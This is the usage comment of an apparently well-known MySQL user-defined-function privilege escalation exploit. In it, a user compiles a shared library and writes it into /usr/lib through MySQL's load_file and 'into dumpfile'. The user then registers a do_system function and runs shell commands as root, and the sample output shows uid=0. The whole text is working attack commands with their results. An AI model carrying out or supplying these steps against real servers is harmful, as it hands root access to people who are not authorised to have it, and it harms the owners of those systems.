* Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf.c
 * $ gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql> use mysql;
 * mysql> create table foo(line blob);
 * mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so'));
 * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so';
 * mysql> create function do_system returns integer soname 'raptor_udf.so';
 * mysql> select * from mysql.func;
 * +-----------+-----+---------------+----------+
 * | name      | ret | dl            | type     |
 * +-----------+-----+---------------+----------+
 * | do_system |   2 | raptor_udf.so | function |
 * +-----------+-----+---------------+----------+
 * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
 * mysql> \! sh
 * sh-2.05b$ cat /tmp/out
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
 * [...]